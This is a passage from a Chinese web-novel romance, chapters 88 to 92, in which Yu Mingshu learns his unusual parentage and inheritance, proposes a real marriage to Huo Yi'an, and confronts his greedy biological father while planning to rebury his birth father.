霍懿安时刻紧盯着郁明殊,原本还挺满意郁明殊听到亲生母亲后情绪较为稳定,但眼看着被他妈说得眼眶泛红,霍懿安眉头一皱:“你们还要不要听了?” 霍懿安语气中的嫌弃太过明显,霍云轻登时翻了个白眼,立即换了种说法:“小殊和嘟嘟比霍懿安更重要!” 而这种幼稚攻击对于从小享受父母全部偏爱的霍懿安来说,伤害完全为零。 退一万步他巴不得父母将爸崽看得更重,毕竟爱情有期限,亲情才更加可靠,而他在亲情方面一向无能为力,他十分乐见父母能多给郁明殊一些保障。 霍懿安根本没睬亲妈,直接将表哥霍懿宁传来的最新消息和盘托出,已经找到薛德茂那位失踪多时的老律师了。 因薛景灿一直都是板上钉钉的唯一继承人,从未有人怀疑过他身上存在得位不正的情况。 而一朝天子一朝臣,薛景灿上位后立即着手整顿薛氏里的老家伙们,大家都以为这位前任董事长的心腹律师也是被小薛董驱逐,才带着一家去国外养老了。 事实却是薛德茂死前修改了遗嘱,将半数身家都给了郁明殊。 当然不是什么临死突然改过自新,想要补偿被他折磨了多年的郁明殊,而是因为查到了当年“明月笙”曾为他生下过一个孩子,而这个孩子在世上唯一的后代就是郁明殊。 尽管郁明殊已经做好心理准备,还是被这份真相砸了个措手不及,薛德茂竟然是他的……骨肉至亲? 郁明殊一边觉得难以置信,一边又因这不可能的可能感到胃中灼烧、呕意翻涌。 对面的夫妻俩同样惊得瞠目结舌,崽子则是呈现cpu烧穿般的呆滞表情。 其中当属霍云轻反应最快:“不对啊,明月笙我知道的,是位男旦啊!” 所谓男旦,自然是传统戏剧中对男性扮演女性角色的统称。 霍懿安也是刚接到消息,根本没来得及过多联想,被霍云轻一提醒,他立即用加密信息进一步询问。 实际上表哥霍懿宁也默认了只有女性能生子的客观事实,而且霍懿宁并不知道他们已经找到了左光石这个亲生父亲。 很快,比起郁明殊是薛德茂的直系后代,更加令所有人震惊的真相被传回,明月笙不仅是以男人之躯生子,他死前生下的也是一个男孩。 西奥多再是聪明机灵也受年龄限制,大人们震惊三连也顾不上跟他解释,仅凭不到三岁的小脑花光速旋转并不能快速消化这些超纲信息。 而且cpu疯转之际,崽脑海深处意外闪过了一抹陌生画面,根本不等他仔细看清,就又消失不见了! 虽然这次不是在梦里,但劳伦斯爷爷说过,他应该是遗忘了一部分很重要的记忆,这部分记忆未必就只会在梦里出现。 作为超绝预知崽,西奥多对此极为认真,绝不轻易放过一点蛛丝马迹。 深陷双重困惑的崽子正猛搓自己的铂金小软毛,突然听到亲爹震声发问:“嘟嘟…是小殊亲、亲自生的?!” 崽子唰的抬起转得要冒火星子的小脑袋,有点烦躁地嘟嘴答道:“当然啦!” 都什么时候了,还在用这种老问题打断他这个预知神崽的重要思考? 噫——! 第89章 别说霍懿安霍云轻三人了,郁明殊这个当事人同样震惊不已。 虽然此前就明确西奥多是同时拥有两人血脉的亲生崽,但平行世界的情况未知,即便平行世界的郁明殊也是男性,但也许平行世界本就可以男性生子,亦或是在科研领域已经攻破了同性生育这一壁垒。 总归是存在一种有别于现世的特殊情况,才会让西奥多诞生。 没曾想他们有朝一日会得知,这个世界的郁明殊本就具备可以亲自生下西奥多的特殊能力。 这实在太过打破他们的固有认知,霍懿安甚至立即产生自己此前判断错误的怀疑。 嘟嘟也许并非来自平行世界,而是来自他们的悲惨未来? 明月笙难产而死,郁明殊的亲生父亲同样如此,足以说明这份血统带来的特殊能力即便可以让男人生子,却未必能让人活下来。 几人几乎都想到了西奥多此前提到的“嘟嘟是爸爸用三条命换来的”,霍懿安的思绪从未如此活跃,几乎是瞬间就产生了恐怖联想。 假如嘟嘟是来自未来,也就是完全没有嘟嘟提前穿越干预的情况。 他和郁明殊不会这么早产生交集,郁明殊不仅要面临养父母、薛德茂以及走狗经纪公司的多重枷锁,还要被薛景灿这个成功夺权的堂兄迫害。 霍懿安永远忘不了午夜街头,郁明殊精神恍惚几乎碎掉的模样,而他深知如果没有嘟嘟,那只会是这场绝望噩梦的开端。 那样的郁明殊真的能活下来吗? 从结果上来看,郁明殊还是成功活到了两人产生交集的时候,可即便大难不死,也还是会留下严重的精神创伤。 此前汇总信息时郁明殊说过,根据嘟嘟偶尔透露的内容来看,虽然崽子很爱爸爸,但从前爸爸对崽的陪伴并不多,甚至到了这边才第一次跟爸爸一起洗澡。 崽子从小到大相处最多的是爹地和奶奶,爸爸只能偶尔见到。 因为从没考虑过这是他们的未来,所以不论是霍懿安还是郁明殊都没有细究过原因。 毕竟如果按平行世界来论,即便拥有相同长相相同名字,不同世界的他们也是两个完全独立的个体。 而且郁明殊一直无比感谢那个“郁明殊”生下嘟嘟,并不想在无法了解全貌的情况下,责备对方未能时时陪伴崽子。 但如果这个人就是他自己呢? 他不可能不爱嘟嘟的,也不会舍得长期将嘟嘟交由其他人照顾,哪怕是霍懿安。 除了对郁明殊的特殊执着,霍懿安看待感情一向客观,他同样也看得出郁明殊将嘟嘟看得有多么重。 结合此前的“三条命换崽”说法,已经可以想象郁明殊大概率会产生的痛苦创伤,霍懿安几乎可以推测出崽子出生到三岁前,郁明殊不是不想照顾嘟嘟,而是根本无法照顾嘟嘟。 也许是孕期无法使用药效太过强劲的药物进行治疗,也许是生产前后激素骤降被产后抑郁推向更糟糕的境地。 以至于一直到嘟嘟两岁后,爸崽的接触才逐渐变多,但依旧无法提供太多照顾,最多在限定的接触时间内陪嘟嘟看会书、玩会积木…… 意识到这竟是他和郁明殊本应走向的未来,霍懿安如遭重锤,每一次呼吸都会像严重胸腔积血一般感到强烈闷胀钝痛。 曾经从不会反思自责懊悔的人,此刻再一次因爸崽生出强烈的悔痛,但这份痛不会将他困在懊悔的情绪中,霍懿安一把抱住爸崽,又快速松开:“有些事需要确认,我很快回来。” 说完人就跟一阵风似的消失在爸崽眼前,郁明殊和崽子怔愣一瞬,有些莫名地对视了一下,郁明殊又很快习以为常地恢复闲聊式询问。 “那时候…爸爸每次只能陪你一小会儿,嘟嘟会不会很难过呀?” 不同于因过于担心爸崽安危,急于排除郁明殊第三次以命换崽的一切可能的霍懿安,郁明殊的重点始终放在怀中崽身上。 只要一想到现在也只不过小小一团的崽子,在比现在更小的时候,那么渴望爸爸的贴贴,却因他被旧日创伤击垮,连最基本的陪伴都无法做到。 郁明殊尽可能稳住情绪,笑意温柔地问向怀中的小宝贝。 嘟嘟仰起小脑瓜认真想了想,很快给出坚定回答:“不难过!” “爹地和奶奶说过的,爸爸是为了以后可以天天陪宝~”崽子一边说着一边将毛茸茸小脑瓜仰倒进郁明殊的怀里,一双桃花眼弯成甜蜜的月牙状,奶萌萌地蹭了又蹭,“爹地拔拔奶奶米有骗宝,嘟嘟现在超级幸福耶~” 小家伙说完甚至忍不住咯咯笑了起来,完全是越想越开心的程度。 崽子比他们以为的更加乖巧懂事,郁明殊的心就更疼也更愧疚了。 现在的他已经不想再指责自己,霍懿安说过他没错,错的是那些伤害他的坏人。 但他了解自己,即便如此,如果能重新选择,如果知道他的未来里不仅有霍懿安,还有一个让他心软到一塌糊涂的小宝贝,无论曾经遭遇再多磨难,他都不会允许自己被击垮。 那些糟糕的痛苦的惨痛的过去,如何跟他幸福的未来相提并论?他又怎么舍得因旧日阴影影响到这份美好? 生下嘟嘟的那个未来他已经无法选择,但他立足的当下,已经是嘟嘟神迹般干预后的结果,他再也不想因自己的无力脆弱留下遗憾。 郁明殊一把抱住崽子,眼眶中打转的泪水被他仰头咽下。 他暗自发誓,他一定会强大起来,不论再遭遇任何事,他都要让他的孩子幸福。 而不是在爱人出事时只剩绝望惶恐精神恍惚,反倒要不足三岁的崽子为他担心。 他完全能想得到,嘟嘟的降生一定源于他的“擅作主张”,因为他过分渴求家人,才将嘟嘟带到这个世界,却又没能给予嘟嘟应有的庇护与陪伴。 爸崽紧紧相拥,十分钟后,霍懿安回到卧室,正准备告诉爸崽,他借郁明殊身份通过中间人再次确定了和左光石的见面时间,就对上了郁明殊红得跟小兔子一样却毫无泪痕的双眼。 霍懿安眉头一皱快步走近,担心问道:“怎么了?” 郁明殊却“兔眼”一弯,突然朝他一笑:“霍懿安,我们解除协议……” “不!!!”没等郁明殊说完,霍懿安就像一个劣质高压锅一样轰的一声炸开,”不可以!我不同意!我不接受!” 也不怪他不给郁明殊解释机会,听完前半句霍懿安就感觉眼前一黑又一黑,一边震声否定,一边捂着心口朝床倒去。 “胸腔积血又疼了?!”郁明殊也慌了。 霍懿安一听胸腔积血四个字又来了灵感,一双大掌齐齐覆上自己的双咪,人也震动般呛咳起来。 “呕咳……” “咳咳……” “咳!咳咳……不、不要离婚……” 郁明殊已经快速将怀里的小金毛换成大金毛,期间懂事的小金毛虽然有些懵逼,但还是很快将重点放在了爹地胸胸痛这件正事上,并没有表现出丝毫不满。 郁明殊立即回答:“没有要离婚,我是想取消协议,和你真正的结婚……” 话音未落,霍懿安已经失去了表情管理。 虽然经常听到好命评价,但这一刻连他也不得不承认,他的运气实在是好过头了!!! 一场车祸乌龙,竟让从不主动甚至还多有后退的郁明殊选择“求婚”! 喜出望外已经不足以形容他当下的心情,也因过分狂喜他甚至忘记前一秒他还在“咯血震动”。 胸也不疼了,人也不咳了,霍懿安甚至等不到郁明殊把话说完,就一把攥上了他的双手,震声应道:“我!愿!意!!!” 仿佛自出生起就被固定在受害者这一生态位的郁明殊,即便父崽的出现为他改写了命运,他仍旧一直有许多担忧,他怕再次被骗,也怕再次被伤害。 但他现在不想再后退了,因为后退从来都无法真正躲避伤害,只会让身边人替他承受更多。 虽然人心瞬息万变,主动向前也许还会让他碰个头破血流,但起码当下,他不仅可以让爱人孩子幸福,他也能享受到这份来之不易的幸福,这就够了。 而他不会止步于这份幸福,他还会一直前行。 哪怕终有一日他所一直畏惧回避的灾难情况发生了,霍懿安变心了,他们之间只剩欺骗,亦或者霍懿安再次遭遇意外……起码此时此刻他们一家三口幸福过,而那时的他一定有能力继续让他的宝贝保持幸福。 郁明殊抱着崽,感受着霍懿安紧紧相拥的怀抱,泪光闪烁间绽放出有别于以往的幸福笑容。 西奥多一开始还是有点懵的,毕竟俩爹的情绪转换实在太过于“风驰电掣”,不仅一秒一个样,还是极端闪跳。 但在这一刻,他心中那颗极为敏锐的小雷达,成功捕捉到了全世界最幸福的信号。 ——他们要变回真正的一家三口啦! 第90章 薛景灿再次被抓后就没再出来,谋杀亲爷已是板上钉钉。 吃瓜群众都以为薛家的幺蛾子终于要在薛景灿的死刑判决中落幕,最多是日后细数豪门狗血奇葩故事时,薛德茂和薛景灿祖孙会因这份超级畸形的爱频频上榜。 没曾想,这事竟然还能反转! 且真相竟然是比薛景灿对亲爷爷爱恨嗔痴更加离谱的反转——薛德茂的私人律师一家被解救,立即公布了薛德茂死前修改的最后遗嘱。 名下全部产业一分为二,薛氏旗下的核心产业、薛家老宅归长子薛信峥和长孙薛景灿共有,非核心产业股权、除老宅外的其他房产、私人藏品、现金与金融资产、奢侈品与贵重物品等较为分散但同样价值巨大的遗产类别,全都留给了流落在外的次孙郁明殊。 消息一出,震翻所有人。 【啊??????】 【大袜子这是中文吗???!!!】 【难怪薛景灿要提前搞死薛老登了,原来是怕巨额遗产旁落……但“次孙”郁明殊是不是太离谱了一点???】 【咋可能啊?郁明殊标准神颜,薛老登长得跟个非洲老蟾蜍似的,根本没有一点像的地方啊!该不会是这老东西死前发疯瞎编的吧?】 【没错,仔细看了下遗嘱,虽然没有核心产业,但给的都是真金白银和毫无难度的躺赚企业,说郁明殊是明月笙给老登留下的我都信!】 【反正我是信了,因为编不可能编出这么离谱的……除非这就是真相……】 【+1如果不是次孙,只是薛老登想把部分财产留给郁明殊,根本不需要编这个血缘关系,而且没有血缘他会突然良心发现?这牲口玩意儿哪有良心啊!】 【离谱中又透着合理,什么薛景灿“爱爷说”“白爷光”都是假的,杀爷纯粹是因为提前知道郁明殊也留着薛家的血,难怪一回国就立即找上门被我嘟赏了一嘴巴……啥也不说了,先给殊殊道喜吧!】 【QAQ殊殊还活着吗?到现在还没有确切消息传出[爆哭]我现在最担心的就是我家嘟嘟宝贝!】 【真是造化弄人啊,之前殊殊过得那么惨,结果一直折磨他的其实都是血亲?好不容易柳暗花明了,现在却生死未明……这也太惨了!】 【我不信!车上的华裔肯定不是殊殊!殊殊还要陪着嘟嘟宝贝长大呢!】 【之前我也不信,但这么久都没有消息……而且有玄学大v测算说殊殊命途多舛处处死劫,现在就希望嘟嘟能好好的[流泪猫猫头.jpg]】 …… 不同于网络震荡后的一片哀声,左光石却是狂喜不已。 之前得知私生子还活着,且极可能和珀西家搭上关系,甚至可能跟那个人一样,也以男人之躯生下了珀西家的血脉。 这已经让左光石极为振奋,他比任何人都清楚,郁明殊在世上只剩他这一个亲爹了。 而网络资料和调查结果都指向郁明殊是个看重血脉感情甚至有些优柔寡断的人。 他的双胞胎儿女虽然年岁还不大,但已经彻底被妻子埃琳娜养歪了,成了两个只认金钱权势完全不顾父子亲情的混蛋。 就算埃琳娜身体不好活不长,他们的儿子女儿在接手家业后也不会向他尽多少孝,最多是让他能有口饭饿不死。 没曾想,左明镜死前给他留下的孽种竟有今日的大造化。 他原本以为这已经是他晚运的巅峰——跟郁明殊一并扒着珀西家。 就算那个叫嘟嘟的孩子不是郁明殊亲生的,但以明氏血脉的特殊性,郁明殊未来也能生下永葆他们父子富贵无双的摇钱树。 直到“伊恩·珀西”的死讯传出,另一名死者又疑似是郁明殊,左光石差点以为天就这么塌了。 他们还没有相认,郁明殊就这么死了他什么都捞不到!就算没死,失去“伊恩·珀西”供养的郁明殊还有什么存在意义? 左光石只能通过不断骚扰中间人试图确认郁明殊的生死,并日夜祈祷嘟嘟是郁明殊为“伊恩·珀西”生下的孩子。 左光石这次是真担心了,毕竟他名下的资产经过多年消耗,也只剩下一间经营不善的酒庄。 如果无法从郁明殊身上榨取可观钱财,他的晚年一定会相当凄惨。 左光石忧心如焚寝食难安,一个月瘦了十几斤,全是对失去唾手可得金山的深深忧虑。 结果他还是得到了老天爷的眷顾。 当年被他抛弃的养兄左明镜,竟然是薛氏血脉!而他生下的私生子郁明殊不仅没死,还成了薛家唯一的继承人! 左光石本就丰沛的“父爱”瞬间达到巅峰,他已经迫不及待要见到他们的儿子了。 过于兴奋让左光石在飞机上一夜未眠,抵达时眼底乌青,眼球上散布着疲累的红血丝,那双贪婪的眼却依旧亮的惊人。 左光石很快被豪华专车接入了庄园。 他当年也算风光大赘,但比起珀西家族,船王家族也只算得上是三流豪门,一路见闻让他越发确定,即便“伊恩·珀西”已死,郁明殊如今的生活标准依旧是曾经的他难以企及的。 思及此,左光石越发振奋,狂喜的心脏将胸腔敲得咚咚作响,仿佛随时要跳出与他欢庆。 而越是这样,他就将头垂得越低,想尽一生痛苦屈辱,才勉强挤出两分泪意。 好在他近段时间明显消瘦,一整个月都没怎么睡好,此刻面上稍带上一点悲伤情绪就足够唬人了 三米高的会客厅双开大门,被西装笔挺的保镖从两侧拉开,左光石刚要迫不及待眼泪潸然地扑向郁明殊,就被保镖精准截停在半空。 一米九几的大块头保镖,一左一右将他架了起来,语气倒还算客气:“左先生请您冷静些。” 左光石连连点头承诺,被保镖暂时放下,这才注意到不仅门外站了六个保镖,宽敞的会客厅内竟然矗立了八个更加高大壮硕的西装猛男。 左光石倒没觉得这是在防范他,单纯以为珀西家族对郁明殊这个没名分的遗孀相当厚道,思绪一转,就想到了那个虽然金发碧眼但眉眼和郁明殊如出一辙的孩子身上。 看来郁明殊现在不仅是薛家唯一的继承人,大概率还是给“伊恩·珀西”留下唯一后代的人……左光石的心直接飞上了天。 “小殊!爸爸终于找到你了!!!”财帛动人心,左光石虽然非科班出身,但还是成功一秒落泪。 郁明殊原本无波无喜的瓷白面庞突然滑过一抹暗色,他蹙着眉垂下头避开了左光石的灼热视线。 左光石以为自己打动了儿子,带崽坐在一墙之隔的监控前的霍懿安却清楚,他的宝贝明殊是被左光石的“小殊”给恶心到了。 父崽难得步调统一,大小金毛对着画面中的左光石齐齐翻了个白眼。 不过内讧随之而来—— 霍懿安:“嘟嘟还记得这个人吗?” 西奥多皱眉:“…………不记得。” 霍懿安:“怎么什么都不记得了?” 西奥多气炸:“宝明明记得超多!!!” 霍懿安:“好了不要吵,听不清他们说什么了。” 西奥多龇牙:“呼…呼……!” 果然啊!对他来说就是世上只有爸爸好,有爹的孩子像根草! 监控室重新安静下来时,会客厅内的左光石已经回忆起郁明殊最想获知的生父死亡真相。 考虑到“第三次以命换崽”可能和崽子此前对左光石下意识流露的排斥有关系,霍懿安最初是不希望郁明殊亲自继续这场会面的。 但劳伦斯给出的建议是堵不如疏,郁明殊需要一个彻底放下过去的契机,而且西奥多亲眼见到这场重逢,也许还能想起更多有用信息。 而郁明殊肯定是想见的,毕竟他虽然不再对父母亲缘抱有什么幻想,但还是想知道生下他的父亲身上到底发生了什么。 当年留下的信息记录实在太少,左父早亡,左母也在十年前病逝,关于左家养子左明镜的全部真相,也就剩左光石一人知晓。 霍懿安看了眼气鼓鼓的崽子,注意力很快集中到左光石一边哀哀痛哭一边哑声讲述的“真相”上。 “明镜”这个名字是明月笙留下的,左家夫妻结婚多年无子,看中了孩子的好相貌将其抱养。 如同许多个俗套故事一般,左家夫妇命中无子但养子左明镜却命中有手足,抱养不到两年,左光石便顺利降生。 左家原是书香门第,但到了左父这一辈已经家道中落,有了亲子,夫妻俩便生出将养子送人的打算,还是因为年幼的左光石极为依赖左明镜,他才被留了下来。 但命运无常就无常在每一条分岔路口都是祸福难辨的,明镜当初如果能因左光石的降生离开左家,也许还能过上幸福平静的人生。 实际却是左光石在留学期间攀上船王独女,明镜意外有了两人的孩子。 左光石说他从没想过明镜可以生子,一直到了婚后,他才在母亲偶然间说漏嘴时得知明镜死在手术台上的消息,而他一直到母亲病故都不知道明镜死前还留下了一个孩子。 一切都要归咎于埃琳娜,那个恶毒女人不仅逼死了他的母亲,还将明镜难产而亡的真相向他隐瞒了二十年。 霍懿安盯着监控画面中央,郁明殊眉眼间的鲜明悲色,心如刀绞,恨不能现在就充进去将人抱住,但他答应过郁明殊,这次他负责带崽,做好郁明殊背后的男人。 同一时间,一旁的小金毛也跟爹想到了一块去。 粉白的小拳头攥得梆硬恨不得冲上去给让爸爸难过的坏蛋两拳,但他也答应了宝贝爸爸,要当全世界最乖最听话的好宝宝。 没想到,刚抵达不久的埃琳娜听到左光石的指控,噌的一下站了起来。 大小金毛两双湛蓝眸子唰的亮起,父崽快速对视一瞬,都从彼此眼中看到了希望之光。 三分钟后,监控室连接会客厅的隐形门被埃琳娜一把推开,霍懿安眼疾手快将崽塞给了一旁的保镖,闪电般跟了上去。 前一秒还蓝眸锃亮的崽——《 》 第91章【VIP】 第91章 埃琳娜之所以多等了三分钟,是因左光石将一切栽赃给她后,不仅表现得悲痛万分,还适时拿出了酒庄转让协议。 左光石当然舍不得将名下唯一值钱资产,掏出来送给郁明殊这个当年他见都没见就叫人弄死丢掉的孩子。 一切都是为了能打动郁明殊。 全网皆知郁明殊是个心地善良又柔软的好孩子,左光石要利用的就是这份心软。 郁明殊一直渴望亲情却一直被伤害,虽然薛德茂最后将一半的财产留给他了,郁明殊现在并不缺钱,但意义和从失而复得的生父手中,获得的唯一财产还是大不相同的。 对郁明殊这种单纯小孩来说,钱在哪里爱就在哪里,但对于左光石来说,却是舍不得孩子套不着狼。 而且一旦郁明殊在协议上签字,就是间接承认了和他之间的父子关系,就算以后闹掰了,郁明殊也有赡养他这个父亲的义务。 现在的郁明殊可不再是需要靠送外卖讨生活的穷小子了,郁明殊不仅手握伊恩·珀西留下的资源,还继承了薛德茂的半数遗产,随便从指缝中漏一点给他,就远比经营不善的酒庄要值钱多了。 左光石将算盘打得噼啪作响,以为郁明殊会一边感动落泪一边签下名字,没想到郁明殊只有听到生身父亲死亡消息时,情绪才稍有波动。 接过赠予协议看都没看就放到了一边,直接问道:“他…现在葬在哪里?” 左光石噎了一下,垂眼酝酿了两秒情绪才哽咽开口:“镜哥喜欢大海,生产前自知凶险万分,便拜托我母亲如有万一,希望她能善待你并将他的骨灰撒向大海。” 郁明殊听完含泪闭上了眼。 他知道左光石的话不可信,但这一刻他仿佛能跨越时空,看到自己的生身父亲临终托孤的画面。 左光石也是难得动了两分真情,只因他想起明镜被推进手术室前,美丽的脸庞上写满悲戚与哀求,仿佛早早勘破了他的假面,对即将到来的死亡心知肚明。 明镜不是没想过逃,只不过逃跑途中遭遇车祸,伤了脊椎。 所以左光石也曾心软考虑过,既然明镜成了一个废人,不如就留下他和孩子,随便花点钱养起来,他就算想破坏他和船王家的婚事也做不到。 然而明镜命苦,即便他有心放过,对方还是大出血难产药石无医。 二十多年的情分,他如何不难过?所以孩子和明镜的后事都是他父母处理的,他并没有机会实现承诺让明镜的骨灰随海漂流。 母亲说明镜死不瞑目怨气太重,所以做了几场法事将明镜骨灰锁在了老家后山的一座枯井里。 也许是真起了作用,死别多年,左光石不曾梦到过明镜一次。 思及此,左光石难得生出两分真正的悲色,长长叹了一口气。 然而他一口气没叹完,就被突然“穿墙”而出的高壮女人一巴掌打到地上。 “你这个只敢栽赃女人的废物!” 左光石被打得满嘴血腥,缓了片刻才龇牙咧嘴难以置信开口:“埃琳娜?你怎么在这里!” 埃琳娜不想在再这种人渣身上耗费精力,直接告诉郁明殊左光石母亲的真正死因,并非被她逼死,反而是左光石亲自下的手。 当年埃琳娜因父亲离世悲伤过度,又经历了双胞胎的生产,几乎只剩半条命,快速消瘦让她一米七五的身高一度瘦到了不足百斤。 左光石母子便生出了歹念,想直接弄死她,毕竟船王家的下一任继承人已经有了,一旦她死了,左光石就能通过两个孩子掌控全部财产。 被她发现后,左光石就将一切都赖到母亲身上,埃琳娜当时根本没打算原谅左光石,但也想看看左光石会不会狠心到对亲生母亲痛下杀手。 事实证明,左光石比她想象得更加愚蠢狠毒。 今日将一切都赖给她的左光石,也和当年将一切归咎于其母的人渣没什么不同,埃琳娜毫不意外,却还是忍不住气急。 而她气的不是别的,而是当初为什么就眼拙到连是人是鬼都分不清? 好在这些年她为了改善体质没少锻炼,一身结实肌肉让她几巴掌落下,就让左光石眼冒金星满地找牙惨叫连连。 霍懿安怕郁明殊太过难受,再被亲生父亲的人渣行径刺激到,抱起人就打算离开。 郁明殊却拍着男人的胸膛叫停:“懿安我没事,放我下来吧,我还有话要问他。” 霍懿安这才注意到怀中玻璃人偶般漂亮脆弱的郁明殊,此刻的眼神平静柔韧。 视线相交,郁明殊还安抚性地朝他眨眨眼。 埃琳娜的意思很清楚,左光石就是个坏事做尽还要女人背锅的废物,不仅说出的话要反着听,扣给左母和埃琳娜的黑锅即便不是他亲手所为也是他唆使的。 在刚得知自己是抱错的,看到养父母一家欢喜团聚时,郁明殊也曾对亲生父母生出一丝期待,如今得知亲生父亲是这样的渣滓,他多少还是会生出些许难过。 但却不是对着左光石的,而是宿命般难产而亡的生身父亲。 同时他的内心也变得更加坚定,他一定会变得强大起来,强大到可以安然享受幸福,也可以无畏苦难的到来。 郁明殊拿起左光石带来的签字钢笔,走到被打的五体投地的左光石旁边,不等对方向他哭求狡辩,精美的金属笔尖已经插进男人右手掌心。 “他,到底葬在哪里了?” * 获知明镜埋骨地,因夫夫俩现在都不便外出,便先派人去找寻,等运回A市时间也就差不多了,郁明殊可以亲自重新安葬父亲。 事实证明他没有执着于亲自去寻是正确的,左光石咬死也不敢提前透露半分的真相简直令所有人悚然,不仅是害怕明镜报复他,将其镇在锁魂井中,就连左母死后也被他安置在另一道枯井中镇压。 郁明殊不知道人死后是否真实存在“泉下有知”,但还是打算在左光石百年之后将他也投进井里。 之所以还要多等上一些年头,这是郁明殊和埃琳娜商量后的结果,两人都觉得死对左光石来说太容易了,他不配。 埃琳娜将左光石带走,走之前还和霍懿安达成了一些工作上的合作,即便如此,埃琳娜在得知两人已经在筹备婚礼时,还是劝了郁明殊一句。 “即便爱情上义无反顾,但钱财一定要守好,我在婚姻中做的最正确的一件事,就是听从我父亲签订了严格的婚前协议。” 但埃琳娜的建议还是给晚了,两人之前协议结婚时签订的那一摞文件已经作废。 毕竟霍懿安现在还在装死中,出不了庄园,就将90%的精力都放在研究两人的婚事上。 郁明殊想到两人签订的新协议,还是没忍住说了一句十分恋爱脑的话:“他不一样……” 埃琳娜差点没忍住翻了个白眼:“你知道我为什么一直不离婚吗?” “因为没必要,不离婚还可以用婚姻关系将左光石压在眼皮底下,避免他给孩子们添乱。” “阿姨是过来人,大半辈子看了太多例子,虽然不能说全部,但绝大部分到了最后都一样。” 郁明殊是有些感动的,他从没想过这样替他着想的肺腑之言,会从他人渣生父的现任妻子的嘴里听到。 埃琳娜和她的外表一样,强大而富有女性光辉。 但一想到类似的话,他近两天听霍懿安强调了八百遍,甚至连嘟嘟晚上叽里咕噜说的梦话里都是什么“男人没一个好东东”,“爱情是坠不可靠滴”,“爱情都是激素作用”……郁明殊的心情是真的复杂极了。 没错,霍懿安虽然因他的求婚喜不自胜,但还是立即拉着他作废了此前的婚前协议,并追加了更为严苛的婚姻限制,当然,所有限制都是针对霍懿安自己的。 霍懿安似乎无比确信,他会在数年后因爱情激素消失而不再爱他。 而霍懿安又坚信自己神经异常,无法像普通模范夫妻那般将爱情转化成更稳固的亲情。 所以他要提前划分好赔偿,如果爱情消失,两人离婚,郁明殊可以获得霍懿安科技公司的全部股份。 如果发生更过分的事情,郁明殊可以获得霍懿安名下全部财产,包括未来会从霍云轻和埃德蒙手里继承到的那部分巨额遗产。 哪怕是净身出户,霍懿安犹觉不足,他一本正经对郁明殊分析道:“其实我最值钱的是我的大脑,它可以源源不断创造财富。” 郁明殊:“………嗯。” 想到霍懿安不能将聪明绝顶的脑袋切下来分他一半时的惋惜表情,郁明殊再次抽了抽嘴角无奈一笑:“谢谢您的提醒,我会小心的。” 埃琳娜总算露出了一个还算满意的笑容。 郁明殊送别埃琳娜和半死不活的左光石,从庄园大门回到一家三口住的别墅,崽子立即飞扑进他怀里。 “拔拔!~” “嘟嘟怎么还没睡呀?” 郁明殊抱起崽子,抬头对上了金毛凌乱的霍懿安,就噗嗤笑了出来。 看得出霍懿安代替他进行的哄睡工作相当激烈,不仅是头发乱得跟鸟窝一样,脸上还有被小手抗拒捏打留下的指印。 “嘟嘟想拔拔呜~~嘟嘟手手痛痛~拔拔吹吹~~~” 西奥多不仅一点不心虚,还一副坏爹地脸硬皮糙,硌坏了他吹弹可破的柔嫩小手的委屈极了。 霍懿安听得直挑眉,但也不得不承认小臭崽这副古灵精怪的小模样也实在可爱。 夫夫视线相对,眼底的笑意进一步蔓延。《 》 第92章【VIP】 第92章 涉案罪犯相继落网,埃德蒙也趁机把珀西家内部毒瘤剜了个干净,直接将异母弟弟一脉连根铲断。 埃德蒙也算久违地大干了一场,以至于霍云轻陪着一家三口回国的时候,他还脱不开身,只能形单影只留在B国。 心塞归心塞,但一想到现在经手的家业,可以跳过不肯接班的儿子,直接留给宝贝小孙孙,心里就甭提多有干劲了。 四人齐飞,只留仍处于术后半年观察期的埃德蒙在B国工作,四人中只有郁明殊多少有些担忧。 抛开身体问题不谈,他是知道埃德蒙有多么离不开霍云轻和嘟嘟的,就这么丢下他一个人,还要处理那么多复杂麻烦的善后工作……郁明殊于心不忍。 霍云轻闻言,一脸感动地搂住郁明殊拍了又拍:“妈妈真是一辈子行善积德,才修来小殊你这么好的孩子!” 话没说完,霍懿安已经将亲妈从郁明殊身上撕了下来,声音冷飕飕的:“你太用力了。” “没有没有。”郁明殊立即表示没这回事。 知子莫若母,霍云轻斜了眼越发看不顺眼的亲儿子,然后又笑得一脸温柔转向郁明殊继续说道:“不用担心爸爸,他啊,现在可是干劲十足!” 同一时间,正在书房埋头苦干的埃德蒙突然打了个喷嚏。 一抬头就扫到围绕桌案一周摆的各种嘟嘟摆台、相框,埃德蒙又笑着将视线转向正前方,美滋滋欣赏了一番正对书桌的嘟嘟相片墙,再一低头,是印有嘟嘟软萌睡颜的新睡衣…… 埃德蒙这本应倍感孤单的工作是越干越精神。 一边埋头苦干,一边感恩上天让他有生之年还能拥有嘟嘟这般可爱至极的暖心小宝贝,唇侧的弧度总是放不下来。 * 虽然犯罪头目都相继落网,只剩下按流程审判,但想要彻底尘埃落定,少说也要半年的时间,这期间他们都应该多些谨慎。 郁明殊之所以这么早回来,还是希望明镜可以早日入土为安,而薛景灿身上攒了太多罪孽最先被宣判,身边爪牙也悉数落网,再加上国内的治安环境,已经没什么可担忧的了。 在一家四口回来前,一切都是霍家帮忙料理的,包括私人墓园的选定,郁明殊很感激,之前看视频时就很满意,现在实地一走更觉得这片墓园不仅景色秀丽,还有着令人心旷神怡的绝佳风水。 郁明殊已经提前打算好了,他将明镜葬在这边,再给明月笙建一个衣冠冢,以后他死了,就也葬在这边,生前没机会相处,死后可以彼此陪伴也算不枉这一世的亲缘。 崽子睡了一路,醒来发现爸爸们都不见了,顿时小嘴一瘪准备“吟唱”。 崽子来源特殊,又没到可以直面死亡的年纪,原本不该将崽带来墓园的。 奈何小家伙依旧黏人,夫夫根本没有丢崽独立活动这一选项,好在现在没正式下葬,还不算真正的墓园,不过崽子上车就开睡,夫夫俩索性就将崽留车里,交由张秘书暂时看管。 张秘书可是海豚音资深受害者,立即小跑将越发沉重的小祖宗送到了夫夫俩身边。 张秘书送崽子抵达时,夫夫俩正在争论着什么,随着距离拉进一大一小听得越发清晰—— “你要葬这边的话我也要葬这边。” “可你不是说七年后我们之间的感情就会淡了离婚……” “一码归一码,我就要葬这边。” “葬前夫家的私人墓园?” 虽然“爱情激素”是霍懿安先提的,也是他无比确信的,但一听郁明殊以未来前夫自居,还是难受得他脸色一沉又一沉。 对此,张秘书差点没笑出声。 他立即将头垂得低低的,一边将哼唧挣扎的崽送出去,一边在心里狂笑,还得是霍懿安这种脑神经异常老板,离了他谁能带给他这么新颖的乐子啊? 